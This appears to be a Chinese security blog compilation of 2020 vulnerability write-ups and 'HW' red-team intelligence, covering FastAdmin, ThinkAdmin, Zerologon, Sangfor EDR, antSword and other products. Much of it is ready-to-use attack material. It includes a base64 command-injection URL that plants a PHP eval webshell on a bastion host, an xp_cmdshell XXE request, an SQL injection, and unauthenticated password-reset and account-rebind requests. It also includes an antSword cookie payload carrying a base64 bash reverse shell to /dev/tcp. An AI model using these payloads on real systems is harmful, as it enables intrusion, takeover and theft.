fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析
0x1.简介
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。
补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。
影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta
修复建议:
升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:
https://www.fastadmin.net/download.html
0x2.漏洞详情
利用限制:需要开启会员中心功能,且登录会员中心。
/application/config.php 文件中:
//是否开启前台会员中心 'usercenter' => true,
漏洞分析
/application/index/User.php 文件
第58-67行:
public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch($name); }
user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);
此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。
fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容
fetch() 函数的关键内容如下:
public function fetch($template, $data = [], $config = []) { if ('' == pathinfo($template, PATHINFO_EXTENSION)) { // 获取模板文件名 $template = $this->parseTemplate($template); } // 模板不存在 抛出异常 if (!is_file($template)) { throw new TemplateNotFoundException('template not exists:' . $template, $template); } // 记录视图信息 App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info'); $this->template->fetch($template, $data, $config); }
继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。
总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell
另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:
1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:
2、在linux下, is_file() 函数判可用于判断符号链接
3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false
4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致
5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败
0x3.漏洞验证
通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。
利用过程如下:
在前台的会员中心,个人资料处,上传修改头像:
抓包后修改图片数据(满足图片头格式即可):
记录下路径后,成功getshell
在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:
当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:
文章出自:https://forum.90sec.com/t/topic/1294
作者:https://forum.90sec.com/u/panda
大家可以投稿90注册啊!给你们投票!哈哈哈
深信服VPN 修改任意账户绑定手机号
https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
注意 需要登录之后才可以
ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540)
首先声明:内容来自ThinkAdmin的GitHub的官方项目的issue 由 @Hzllaga 师傅提供.
0x1.漏洞简介
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
0x2.影响范围
Thinkadmin ≤ 2020.08.03.01
0x3.漏洞分析复现
app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api;
use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞
URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version
列目录
node():
/** * 读取文件列表 */ public function node() { $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) )); }
直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:
/** * 获取文件信息列表 * @param array $rules 文件规则 * @param array $ignore 忽略规则 * @param array $data 扫描结果列表 * @return array */ public function getList(array $rules, array $ignore = [], array $data = []): array { // 扫描规则文件 foreach ($rules as $key => $rule) { $name = strtr(trim($rule, '\\/'), '\\', '/'); $data = array_merge($data, $this->_scanList($this->root . $name)); } // 清除忽略文件 foreach ($data as $key => $item) foreach ($ignore as $ign) { if (stripos($item['name'], $ign) === 0) unset($data[$key]); } // 返回文件数据 return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data]; }
$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。
/** * 获取目录文件列表 * @param string $path 待扫描目录 * @param array $data 扫描结果 * @return array */ private function _scanList($path, $data = []): array { foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) { $data[] = $this->_getInfo(strtr($file, '\\', '/')); } return $data; }
/** * 获取所有PHP文件列表 * @param string $path 扫描目录 * @param array $data 额外数据 * @param string $ext 文件后缀 * @return array */ public function scanDirectory($path, $data = [], $ext = 'php') { if (file_exists($path)) if (is_file($path)) $data[] = $path; elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') { $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item; if (is_readable($realpath)) if (is_dir($realpath)) { $data = $this->scanDirectory($realpath, $data, $ext); } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) { $data[] = strtr($realpath, '\\', '/'); } } return $data; }
/** * 获取指定文件信息 * @param string $path 文件路径 * @return array */ private function _getInfo($path): array { return [ 'name' => str_replace($this->root, '', $path), 'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))), ]; }
读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node
POST:
rules=["/"]
也可以使用../来进行目录穿越
rules=["../../../"]
演示站:
任意文件读取
get():
/** * 读取文件内容 */ public function get() { $filename = decode(input('encode', '0')); if (!ModuleService::instance()->checkAllowDownload($filename)) { $this->error('下载的文件不在认证规则中!'); } if (file_exists($realname = $this->app->getRootPath() . $filename)) { $this->success('读取文件内容成功!', [ 'content' => base64_encode(file_get_contents($realname)), ]); } else { $this->error('读取文件内容失败!'); } }
首先从GET读取encode参数并使用decode()解码:
/** * 解密 UTF8 字符串 * @param string $content * @return string */ function decode($content) { $chars = ''; foreach (str_split($content, 2) as $char) { $chars .= chr(intval(base_convert($char, 36, 10))); } return iconv('GBK//TRANSLIT', 'UTF-8', $chars); }
解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:
/** * 加密 UTF8 字符串 * @param string $content * @return string */ function encode($content) { [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }
跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:
/** * 检查文件是否可下载 * @param string $name 文件名称 * @return boolean */ public function checkAllowDownload($name): bool { // 禁止下载数据库配置文件 if (stripos($name, 'database.php') !== false) { return false; } // 检查允许下载的文件规则 foreach ($this->getAllowDownloadRule() as $rule) { if (stripos($name, $rule) !== false) return true; } // 不在允许下载的文件规则 return false; }
首先$name不能够是database.php,接着跟进getAllowDownloadRule():
/** * 获取允许下载的规则 * @return array */ public function getAllowDownloadRule(): array { $data = $this->app->cache->get('moduleAllowRule', []); if (is_array($data) && count($data) > 0) return $data; $data = ['config', 'public/static', 'public/router.php', 'public/index.php']; foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}"; $this->app->cache->set('moduleAllowRule', $data, 30); return $data; }
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:
public/static/../../1.txt
而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:
public/static/../../config/database"php
对应encode()后的结果为:
34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
Windows读取database.php:
演示站读取/etc/passwd:
v5连允许列表都没有,可以直接读任意文件。
0x4.漏洞修复
临时方案:
升级到最新版!
来源:https://github.com/zoujingli/ThinkAdmin/issues/244
CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器)
0x01 更新概览
2020年09月14日,360CERT监测发现 secura
公开了针对该漏洞研究报告及PoC
,可造成 权限提升影响
。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。
具体更新详情可参考: 漏洞验证
0x02 漏洞简述
2020年08月12日, 360CERT监测发现 Windows官方
发布了 NetLogon 特权提升漏洞
的风险通告,该漏洞编号为 CVE-2020-1472
,漏洞等级:严重
,漏洞评分:10分
。
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x03 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
360CERT评分 | 10分 |
0x04 漏洞详情
NetLogon组件
是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
漏洞验证
使用 SecuraBV/zerologon_tester.py
进行验证;可以看到在 windows server 2012
结果如下图所示
python版本: 3.8.5 域控版本: windows server 2008 测试机版本: windows server 2012
0x05 影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
相关检测和利用工具地址:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
HW截至目前已经确认的漏洞和预警的漏洞(0day)汇总
截至到目前已经确认的漏洞一览图:
1、绿盟UTS综合威胁探针管理员任意登录
2、用友GRP-u8 XXE注入
3、天融信TopApp-LB 负载均衡系统sql注入
4、深信服EDR远程命令执行
5、联软科技产品存在任意文件上传
6、联软科技产品存在命令执行漏洞
7、WPS命令执行漏洞
8、齐治堡垒机漏洞
9、phpcms v9前台REC(全版本),这个详情在我的GitHub,二十几天前就搜集到了。
漏洞预警,蓝队撑住,提前预警,做好预防0day冲击准备,不一定全部是真的,有这些产品的多注意,多加一道防护,比如开启basic二次验证等操作缓解预防!
预警事项:山石、绿盟、新华三、华为等多个安全产品存在漏洞
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及山石网科下一代防火墙、绿盟远程安全评估系统, 新华三技术有限公司H3CSecPathF10x 0防火墙、华为多款产品(交换机、入侵防御系统、防火墙等),政击者可能通过利用以上漏润造成重大安全影响。
预警时间:2020年09月12日
预警等级:八级
预警范围:
1.山石网科下一代防火墙SG-6000
2.绿盟远程安全评估系统
3.新华三技术有限公司H36SecPathF10x 0防火墙
4.华为多款设备存在越界读取漏洞(C NVD-2020-36735) :
华为无线接入点设备AP2000系列
华为交换机S5700系列
华为DDOS防御系统Seco space Anti DDoS 8000系列
华为下一代入侵防御系统NIP 5300系列、NIP 6600系列、NIP 6800系列
华为入侵防御系统(单板形态) IPS Module V 500系列
H3C、启明星辰、天融信、网御星云、深信服、网神等多个安全产品存在漏洞
预警事项:
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及北京启明星辰信息安全技术有限公司天清Web应用安全网关、天融信NG FW下一代防火墙、H3CACG 1000-M交换机、北京网御星云信息技术有限公司网御防火墙、深信服科技股份有限公司SSL VPN,网神信息技术(北京)股份有限公司网神安全审计系统,攻击者可能通过利用以上漏洞造成重大安全影响。
预警时间:2020年9月12日
预警等级:九级
预警范围:
1.北京启明星辰信息安全技术有限公司天清Web应用安全网关
2.天融信NGE W下一代防火墙
3.北京网御星云信息技术有限公司网御防火墙
4.深信服科技股份有限公司SSL VPN
5.网神信息技术(北京)股份有限公司 网神安全审计系统
6.H3CACG 1000-M交换机
祝大家HW顺利!少丢分!哈哈哈
泛微OA云桥任意文件读取漏洞
泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。
2、通过查看文件接口访问 /file/fileNoLogin/id
可参考微步的情报:
天融信数据防泄漏系统越权修改管理员密码
无需登录权限,由于修改密码处未校验原密码,且/?module=auth_user&action=mod_edit_pwd
接口未授权访问,造成直接修改任意用户密码。:默认superman账户uid为1。
POST /?module=auth_user&action=mod_edit_pwd
Cookie: username=superman;
uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1
齐治堡垒机前台远程命令执行漏洞
齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)
未授权无需登录。
1、访问 http://10.20.10.11/listener/cluster_manage.php :返回 "OK".
2、访问如下链接即可getshell,执行成功后,生成PHP一句话马
3、/var/www/shterm/resources/qrcode/lbj77.php 密码10086
https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS}
用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入
用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
该系统被曝存在命令执行漏洞,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击,漏洞细节以及相关漏洞poc如下:
用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入):
POST /Proxy HTTP/1.1 Accept: Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host Content-Length: 357 Connection: Keep-Alive Cache-Control: no-cache cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'net user'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
burp里面repeat即可:
天融信TopApp-LB 负载均衡系统sql注入:
POST /acc/clsf/report/datasource.php HTTP/1.1 Host: Connection: close Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.6.0.3 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ijqtopbcbmu8d70o5t3kmvgt57 Content-Type: application/x-www-form-urlencoded Content-Length: 201 t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22--+&gid=0&lmt=10&o=r_Speed&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&[email protected]
至于前面的sangfor EDR RCE漏洞已经发过了。
绿盟UTS综合威胁探针管理员任意登录复现
背景:
绿盟全流量威胁分析解决方案针对原始流量进行采集和监控,对流量信息进行深度还原、存储、查询和分析,可以及时掌握重要信息系统相关网络安全威胁风险,及时检测漏洞、病毒木马、网络攻击情况,及时发现网络安全事件线索,及时通报预警重大网络安全威胁,调查、防范和打击网络攻击等恶意行为,保障重要信息系统的网络安全。
绿盟综合威胁探针设备版本V2.0R00F02SP02及之前存在此漏洞。
绿盟的邮件回应:
尊敬的客户:
您好!
近日,收到客户反馈我司UTS产品存在“管理员任意登录漏洞”,此漏洞经过内部确认已于2020年8月进行了漏洞修复,并已经联系了受影响客户进行设备升级。现将相关情况说明如下:
此漏洞属于UTS某API存在敏感信息泄露的问题,攻击者可以绕过密码验证登录UTS设备。攻击者利用web特殊请求获取管理员权限,可对设备进行管控,修改防护策略,查看攻击信息和内网地址等资产信息,威胁设备安全。
此问题不是0day漏洞,不会泄露用户明文密码,不存在命令注入漏洞,攻击者无法利用此漏洞跳转攻击其它设备。目前我们已经在UTSV2.0R00F02SP03版本完成修复,升级官网发布的UTSV2.0R00F02SP03/UTSV2.0R00F02SP04升级包均可以解决此问题。同时请客户升级后,及时修改账户密码。
对于不具备升级条件的客户,请联系绿盟技术人员,绿盟技术人员为您提供技术支持进行解决。为您带来的不便,我们深感抱歉。
绿盟科技集团股份有限公司
2020年9月11日
漏洞利用过程:
对响应包进行修改,将false更改为true的时候可以泄露管理用户的md5值密码
利用渠道的md5值去登录页面
替换为 admin密码的md5:
7ac301836522b54afcbbed714534c7fb
成功登录,登录后通过管理员权限对设备进行管控,并且可以看到大量的攻击信息,泄露内部网络地址包括资产管理。
HW情报之-多家安全厂商设备0day
接情报消息,深信服EDR(新)、奇治堡垒机、联软准入、天融信Top-app LB负载均衡及绿盟UTS等设备存在0day漏洞,请各企事业单位根据资产情况,梳理本单位存在以上设备的情况,加强监控,以避免遭受攻击
恶意红队IP:http://d.zaix.ru/ntbv.txt
HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析
漏洞原理:
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/f4561599781522.png" id="ematt:2842"><img src="https://mrxn.net/content/uploadfile/202009/thum-f4561599781522.png" title="点击查看原图" alt="F012EE50-3707-413D-82C6-C9F7718759E9.png" width="600" height="59"></a>
</p>
<p>
<br></p>
<p>
dev_linkage_launch.php 为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口
</p>
<p>
主要调用
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/cede1599781522.png" id="ematt:2844"><img src="https://mrxn.net/content/uploadfile/202009/thum-cede1599781522.png" title="点击查看原图" alt="E8268018-6639-4801-AF13-BB3F0FF6829A.png" width="375" height="300"></a>
</p>
<p>
<br></p>
<p>
跟进
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/2ea11599781522.png" id="ematt:2846"><img src="https://mrxn.net/content/uploadfile/202009/thum-2ea11599781522.png" title="点击查看原图" alt="BE3A4B01-2ED7-4CAC-86F2-343DC6D79EBC.png" width="361" height="300"></a>
</p>
<p>
<br></p>
<p>
可以看到 第一个检查为 $req_url = $_SERVER['PHP_SELF'];
</p>
<p>
绕过第一个检查:
</p>
<p>
在他们系统nginx配置文件里面:
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/26021599781522.png" id="ematt:2848"><img src="https://mrxn.net/content/uploadfile/202009/thum-26021599781522.png" title="点击查看原图" alt="CBA339A6-1CB7-4BE2-AF11-3EADD2B5C33D.png" width="354" height="300"></a>
</p>
<p>
<br></p>
<p>
通过nginx规则可以得知,他们没有设置禁止外网访问.从而可以直接访问
</p>
<p>
/api/edr/sangforinter/v2/xxx 绕过 第一个检查
</p>
<p>
第二检查: 权限检查
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/3f2c1599781523.png" id="ematt:2850"><img src="https://mrxn.net/content/uploadfile/202009/thum-3f2c1599781523.png" title="点击查看原图" alt="F3B31647-71BB-42D6-91CC-09C3F529E61A.png" width="444" height="300"></a>
</p>
<p>
<br></p>
<p>
跟进check_access_token
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/36a01599781523.png" id="ematt:2852"><img src="https://mrxn.net/content/uploadfile/202009/thum-36a01599781523.png" title="点击查看原图" alt="5D03BF41-9387-480E-B8F9-ED660ABAD1D4.png" width="419" height="300"></a>
</p>
<p>
<br></p>
<p>
这里if($md5_str == $json_token["md5"]) 引发第二个漏洞: php弱类型导致的漏洞
</p>
<p>
绕过只需要传入一个base64编码的json内容为 {“md5”:true}即可
</p>
<p>
<br></p>
<p>
至此 权限检查绕过完毕
</p>
<p>
来到 process_cssp.php 文件
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/c4241599781523.png" id="ematt:2854"><img src="https://mrxn.net/content/uploadfile/202009/thum-c4241599781523.png" title="点击查看原图" alt="9894AD7B-B9B9-4911-B455-354B4662E43A.png" width="451" height="300"></a>
</p>
<p>
<br></p>
<p>
存在任意指令执行漏洞.作者试图使用escapeshellarg函数去给单引号打反斜杠实际上是毫无作用的.
</p>
<p>
绕过:{"params":"w=123\"'1234123'\"|命令"}
</p>
<p>
<br></p>
<p>
结果如下:
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/481a1599781523.png" id="ematt:2856"><img src="https://mrxn.net/content/uploadfile/202009/thum-481a1599781523.png" title="点击查看原图" alt="6A999ACE-9B45-4BBD-AC7A-F7675192C15B.png" width="600" height="284"></a>
</p>
<p>
<br></p>
<p>
返回:
</p>
<p>
<a target="_blank" href="https://mrxn.net/content/uploadfile/202009/471b1599781523.png" id="ematt:2858"><img src="https://mrxn.net/content/uploadfile/202009/thum-471b1599781523.png" title="点击查看原图" alt="C798DE63-2AC0-4AC5-B8FF-716924FC7ECB.png" width="600" height="121"></a>
</p>
<p>
<br></p>
<p>
<br></p>
HW弹药库之你的蚁剑shell还是你的shell吗?
HW弹药库之你的蚁剑 shell 还是你的 shell 吗?可能从你的小宝贝变成了小叛徒哦!
——蚁剑 v2.1.8.1 查看站点 cookie html解析未过滤漏洞可反向 RCE
0X0:背景
说来我等菜鸡是不会也没想过去审计这些工具源码,哪怕是开源的,都是拿来主义,大部分看官也是吧。
但是我这个人对于情报搜集特别感兴趣!时常监控一些开源项目或者官网的commit或者更新公告,这不前段时间就看到了芋头师傅(leohearts)提交了一个issue 包含了我的监控关键字 RCE ,
我当时就看了,当时复现了下,但是没有记录,等着 Medicean 师傅修好了我再发,前天,终于修了!距离提交的时间是十一天过后,可能师傅工作比较忙吧!
0X1:复现环节
打开我们的主角-antSword ,在关于程序里面可以看到版本为 v2.1.8.1,下面开始测试,首先在本地PHP环境目录写一个html文件,内容为:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
然后在 antSword 里面添加我们的本地测试URL,密码 连接类型这些随便写,地址写对了就行
添加好了之后,在本地使用 NC 监听 nc -lv 666 因为上面的 base64 编码后的就是反弹 shell 到我们的666端口,不多说,不懂得 Google
然后我们再用 antSword 右键的 查看站点(英文的为 View Site)即可触发获得一个 shell
看一下 Medicean 师傅的 commit 极了可以看到修复的方式是在 cookie 取值的部分添加了 noxss 方法来进行了 XSS 过滤。
0X2:漏洞利用
复现完毕后我就在思考,能不能借此做点小动作?答案是可以的!
想一下,本身是 html格式的URL地址,除了故意这么去复现的查看站点,很少有人拿到shell后去这么干!除非 shell 需要设置 cookie,从 cookie 里取值,这个时候就很容易想到蚁剑的 AES shell 需要设置 cookie ,那就有利用的可能了!
有两种情况,第一种是本身就是 PHP 的 shell ,如果 黑客的 webshell 是使用的 蚁剑的 AES webshell ,基本代码如下:
<?php @session_start(); $pwd='ant'; [email protected](str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?>
假如黑客 webshell 如上 名为 shell.php ,我们可以把他的 shell 改为如下内容:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h3>蚁剑 查看站点 cookie 未过滤致 RCE 测试</h3> <?php @session_start(); $pwd='ant'; [email protected](str_pad(session_id(),16,'a'),0,16); @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING)); ?> <script>document.cookie="a=<img src=x onerror='require(\"child_process\").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2IDA+JjEK | base64 -d | bash\")'/>"</script> </body> </html>
直接把他的 shell 改为 html 和 PHP 代码混写!
因为 PHP 本身就可以这么写,而且可以同时执行 PHP 代码和 html 代码。
当然,真实情况下我们要做的隐蔽点 把 没必要的 标题和 H3 这些丢弃。改写后的 shell 如何让黑客再次使用 查看站点 功能来获取 cookie 这是个问题,需要让他原本保存的 cookie 失效,比如重启 PHP 清除缓存 等方法尝试,假设你达成了如上条件,成功清除了 黑客 shell cookie ,那么接下来就是他 连接 shell 发现连接不上,打开 shell 地址发现还在,可能会使用 查看站点的功能来 获取cookie ,就可以顺利的 获得一个反向shell。
测试是在 Mac 环境下测试,可以根据情况修改需要执行的操作,比如直接执行 CS 后门或者 PS下载执行 等等。
0X3:总结
这个漏洞很鸡肋!
其一:需要使用 查看站点功能;
其二:需要让之前的shell cookie 失效;
其三:配合特定的环境,比如解析漏洞或者.htaccess
但是也是一种思路,说不定你就可以借此反日 大黑阔!哈哈哈。各位朋友,使用工具须谨慎!说不定还要未公开的 XXday 等着你上钩呢!最起码 把工作和生活用电脑环境区分开,使用个虚拟机,虚拟机一定要开启自动升级,保持最新版,虚拟机里最好再套两层代理,保护自己,保护大家!
参考连接:
https://github.com/AntSwordProject/antSword/issues/256
https://github.com/AntSwordProject/antSword/commit/0d5b8b7c4f5f9520b0cacb7306beb190efa19881
subdomain_shell-一键调用subfinder+ksubdomain_mac+httpx
subdomain_shell
一键调用subfinder+ksubdomain+httpx 强强联合 从域名发现-->域名验证-->获取域名标题、状态码以及响应大小 最后保存结果,简化重复操作命令
因为懒 \-_-\ 不想重复写命令,故诞生此项目
暂时只写了个单域名的,后面找时间补上从文件加载多域名脚本 其实加个判断调整下基本上就OK,欢迎各位师傅 pull 啊
后期考虑加上 xray 的主动爬虫 来个简单的从域名到基本信息搜集的过程,可以做成定时任务,再入库?越来越复杂。。。拉闸 暂时先这样
tested on Mac & Ubuntu
食用方法
1.自行下载脚本,准备文件
2.下载我打包好的,下载解压开箱即用点我下载
Mac 脚本测试
运行后自动保存结果
Ubuntu 脚本测试
项目地址:https://github.com/Mr-xn/subdomain_shell
-
1 2